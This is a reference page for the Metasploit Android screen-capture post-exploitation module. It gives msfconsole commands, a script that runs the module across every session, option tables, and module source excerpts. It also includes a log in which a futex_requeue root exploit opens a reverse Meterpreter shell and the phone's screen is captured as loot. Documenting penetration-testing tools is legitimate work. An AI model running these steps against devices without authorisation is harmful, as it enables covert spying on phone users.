Android Screen Capture - Metasploit


This page contains detailed information about how to use the post/android/capture/screen metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Table Of Contents
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Module Overview

Name: Android Screen Capture
Module: post/android/capture/screen
Source code: modules/post/android/capture/screen.rb
Disclosure date: -
Last modification time: 2020-12-20 11:17:39 +0000
Supported architecture(s): -
Supported platform(s): Android
Target service / protocol: -
Target network port(s): -
List of CVEs: -

This module takes a screenshot of the target phone.

Module Ranking and Traits

Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/android/capture/screen

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/android/capture/screen
msf post(screen) > show options
    ... show and set options ...
msf post(screen) > set SESSION session-id
msf post(screen) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:


framework.sessions.each_pair do |sid, session|
  run_single("use post/android/capture/screen")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options

  • SESSION: The session to run this module on.

Knowledge Base

Description

This module takes a screen capture with the Android built-in application to live off the land. shell or root access is required.

Verification Steps

  1. Start msfconsole
  2. Get shell or root access on an Android device
  3. Do: use post/android/capture/screen
  4. Do: set session [session]
  5. Do: run
  6. You should get a screen capture saved to your device.

Options

EXE_PATH

Path to the screencap executable on Android device. Default is /system/bin/screencap.

TMP_PATH

Path to temp directory on Android device to save the screenshot to temporarily. Default is /data/local/tmp/.

Scenarios

Samsung Galaxy S3 Verizon (SCH-I535 w/ Android 4.4.2, kernel 3.4.0)

Utilizing futex_requeue to get root access.

msf5 exploit(android/local/futex_requeue) > run

[*] Started reverse TCP handler on 111.111.1.111:4444
[*] Using target: New Samsung
[*] Loading exploit library /data/data/com.metasploit.stage/files/cbvzt
[*] Loaded library /data/data/com.metasploit.stage/files/cbvzt, deleting
[*] Waiting 300 seconds for payload
[*] Sending stage (904600 bytes) to 222.222.2.222
[*] Meterpreter session 4 opened (111.111.1.111:4444 -> 222.222.2.222:58577) at 2019-10-22 16:04:31 -0400

meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
meterpreter > background
[*] Backgrounding session 4...
msf5 exploit(android/local/futex_requeue) > use post/android/capture/screen
msf5 post(android/capture/screen) > set session 4
session => 4
msf5 post(android/capture/screen) > run

[!] SESSION may not be compatible with this module.
[+] Downloading screenshot...
[+] Screenshot saved at /root/.msf4/loot/20191022161242_default_222.222.2.222_screen_capture.s_496457.png
[*] Post module execution completed

20191022161242_default_192 168 2 14_screen_capture s_496457

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Msfconsole Usage

Here is how the android/capture/screen post exploitation module looks in the msfconsole:

msf6 > use post/android/capture/screen

msf6 post(android/capture/screen) > show info

       Name: Android Screen Capture
     Module: post/android/capture/screen
   Platform: Android
       Arch: 
       Rank: Normal

Provided by:
  timwr

Compatible session types:
  Meterpreter
  Shell

Basic options:
  Name      Current Setting        Required  Description
  ----      ---------------        --------  -----------
  EXE_PATH  /system/bin/screencap  yes       Path to remote screencap executable
  SESSION                          yes       The session to run this module on.
  TMP_PATH  /data/local/tmp/       yes       Path to remote temp directory

Description:
  This module takes a screenshot of the target phone.

Module Options

This is a complete list of options available in the android/capture/screen post exploitation module:

msf6 post(android/capture/screen) > show options

Module options (post/android/capture/screen):

   Name      Current Setting        Required  Description
   ----      ---------------        --------  -----------
   EXE_PATH  /system/bin/screencap  yes       Path to remote screencap executable
   SESSION                          yes       The session to run this module on.
   TMP_PATH  /data/local/tmp/       yes       Path to remote temp directory

Advanced Options

Here is a complete list of advanced options supported by the android/capture/screen post exploitation module:

msf6 post(android/capture/screen) > show advanced

Module advanced options (post/android/capture/screen):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   VERBOSE    false            no        Enable detailed status messages
   WORKSPACE                   no        Specify the workspace for this module

Post Actions

This is a list of all post exploitation actions which the android/capture/screen module can do:

msf6 post(android/capture/screen) > show actions

Post actions:

   Name  Description
   ----  -----------

Evasion Options

Here is the full list of possible evasion options supported by the android/capture/screen post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 post(android/capture/screen) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

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Error Messages

This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

This module requires shell or root permissions

Here is a relevant code snippet related to the "This module requires shell or root permissions" error message:

27:	  end
28:	
29:	  def run
30:	    id = cmd_exec('id')
31:	    unless id =~ /root/ or id =~ /shell/
32:	      print_error("This module requires shell or root permissions")
33:	      return
34:	    end
35:	
36:	    exe_path = datastore['EXE_PATH']
37:	    tmp_path = datastore['TMP_PATH']

Aborting, screencap binary not found.

Here is a relevant code snippet related to the "Aborting, screencap binary not found." error message:

34:	    end
35:	
36:	    exe_path = datastore['EXE_PATH']
37:	    tmp_path = datastore['TMP_PATH']
38:	    if not file?(exe_path)
39:	      print_error("Aborting, screencap binary not found.")
40:	      return
41:	    end
42:	
43:	    begin
44:	      file = "#{tmp_path}/#{Rex::Text.rand_text_alpha(7)}.png"

Error taking the screenshot

Here is a relevant code snippet related to the "Error taking the screenshot" error message:

45:	      cmd_exec("#{exe_path} -p #{file}")
46:	      print_good("Downloading screenshot...")
47:	      data = read_file(file)
48:	      file_rm(file)
49:	    rescue ::Rex::Post::Meterpreter::RequestError => e
50:	      print_error("Error taking the screenshot")
51:	      vprint_error("#{e.class} #{e} #{e.backtrace}")
52:	      return
53:	    end
54:	
55:	    unless data

No data for screenshot

Here is a relevant code snippet related to the "No data for screenshot" error message:

51:	      vprint_error("#{e.class} #{e} #{e.backtrace}")
52:	      return
53:	    end
54:	
55:	    unless data
56:	      print_error("No data for screenshot")
57:	      return
58:	    end
59:	
60:	    begin
61:	      fn = "screenshot.png"

Error storing screenshot

Here is a relevant code snippet related to the "Error storing screenshot" error message:

60:	    begin
61:	      fn = "screenshot.png"
62:	      location = store_loot("screen_capture.screenshot", "image/png", session, data, fn, "Screenshot")
63:	      print_good("Screenshot saved at #{location}")
64:	    rescue ::IOError, ::Errno::ENOENT => e
65:	      print_error("Error storing screenshot")
66:	      vprint_error("#{e.class} #{e} #{e.backtrace}")
67:	      return
68:	    end
69:	  end
70:	end

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See Also

Check also the following modules related to this module:

Authors

  • timwr

Version

This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

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